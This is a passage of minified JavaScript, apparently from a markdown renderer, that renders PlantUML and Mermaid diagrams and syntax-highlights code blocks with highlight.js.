"}catch(h){s.remove(),console.info(h)}}if(_.includes(["plantuml"],e)||_.startsWith(a,"@startuml"))return'';l=u(e),s=u(a);if(l||s||!("seq"==e||"sequence"==e)||(l=!0,e="sequenceDiagram",a=a.replace(/\\n/g,"\\n")),"sequenceDiagram"==e&&(a=p(a)),l||s){var d=a,r=(l&&!s&&(d=e+"\n"+a),UUID());try{return''+(c=mermaid.mermaidAPI.render(r,d))+"
"}catch(h){$("#d"+r).remove(),console.info(h)}}return(0,f["default"])(t.content,e)}};var t=i(219),f=(i=t)&&i.__esModule?i:{"default":i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e,t){var i="";return i=((t=(t=t?_.trim(t):"")&&({"js":"javascript","oc":"objectivec"}[t]||t))&&hljs.getLanguage(t)?hljs.highlight(e,{"language":t}):hljs.highlightAuto(e)).value,e.split("\n").length<5?""+i+"
":("\n"==(i=i.replace(/